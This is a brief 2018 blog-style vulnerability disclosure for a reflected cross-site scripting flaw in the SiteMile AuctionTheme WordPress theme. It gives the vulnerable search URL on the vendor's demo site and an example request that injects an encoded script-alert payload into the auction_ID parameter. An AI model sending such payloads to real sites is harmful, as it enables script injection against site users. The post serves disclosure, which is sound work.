Monday, June 18, 2018
wordpress sitemile auctiontheme XSS
wordpress sitemile auctiontheme XSS
The xss can be used almost anywhere
onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=&term=aaa&price_min=&price_max=&zip_code=&radius=&auction_location_cat=&auction_cat_cat=&ref-search
example:
http://onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
